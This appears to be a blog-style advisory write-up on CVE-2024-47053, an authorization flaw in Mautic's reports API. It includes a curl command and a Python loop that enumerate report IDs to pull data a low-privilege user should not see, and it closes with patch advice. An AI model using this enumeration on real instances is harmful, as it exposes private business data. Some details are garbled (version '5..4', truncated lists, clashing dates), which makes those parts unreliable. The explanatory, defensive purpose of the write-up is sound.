CVE-2024-47053 - Breaking Down the Mautic API Authorization Flaw (Exploit and Fix)

On May 23rd, 2024, an important advisory was released, spotlighting CVE-2024-47053: an authorization vulnerability impacting the popular open-source marketing automation platform, Mautic. The heart of this bug is simple—but the implications are serious: if you use Mautic and rely on its permissions system to protect report data, your users may be seeing far more than you bargained for.

In this deep dive, we'll break down the vulnerability in plain terms, illustrate the underlying bug, show what a basic exploit looks like, and help you patch up your Mautic instance.

What’s Broken?

The affected Mautic versions don't properly enforce report-viewing permissions through the HTTP Basic Authentication API. This means:

- Any authenticated Mautic user—no matter their role or what you assigned them permission-wise—can fetch ANY report and all associated data via the API.

Depending on your use, these reports could contain

- Email/sales analytics

Custom data you've aggregated

A marketing assistant, junior salesperson, or even an outside contractor with a low-privilege login might see everything the CEO (or even your clients) see.

Let’s make it simple

Intended flow:

Do you have "View Others" to see another’s?

Actual flow:
If you are an authenticated user, no permission check occurs at all for reports data! The API simply delivers the goods.

Exploit Example: How Would an Attacker Abuse This?

Let’s say you’ve set up a Mautic user called "report_viewer" with access to *only* their own reports. In reality, this user can now pull *any* report by simply guessing or iterating IDs.

Say you want to access report ID 7

curl -u report_viewer:VerySecretPassword \
  'https://your-mautic-instance.com/api/reports/7/data';

Let's fetch all reports from 1 to 10

import requests
from requests.auth import HTTPBasicAuth

base_url = "https://your-mautic-instance.com/api/reports/";
user = "report_viewer"
password = "VerySecretPassword"

for report_id in range(1, 11):
    url = f"{base_url}{report_id}/data"
    response = requests.get(url, auth=HTTPBasicAuth(user, password))
    if response.status_code == 200:
        print(f"\n[+] Report {report_id} Data:")
        print(response.text)
    else:
        print(f"\n[-] Report {report_id} not found or access denied.")

Result: You’ll receive data for every report, regardless of permissions. A determined attacker could enumerate all report IDs and silently exfiltrate data.

Official Fix & Mitigations

You need to update to Mautic 5..4 or any later patched release. According to the official advisory:

> "*All users are advised to upgrade as soon as possible. If you cannot upgrade immediately, consider disabling API Basic Auth or limiting API exposure until you can.*"

Original References

- GHSA-8fg6-h86f-49qr: Mautic API Reports authorization flaw
- Mautic Release 5..4 Changelog
- CVE Record for CVE-2024-47053

Conclusion

CVE-2024-47053 is a classic "sounds boring, but changes everything" bug: a basic authorization slip-up in Mautic’s API that exposes your sensitive reports to any user with a login. If you manage a Mautic instance, update NOW. For everyone else, it's a stark reminder: Authentication is not Authorization—and access controls really do matter.

Stay safe, stay patched.

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Timeline

Published on: 02/26/2025 13:15:40 UTC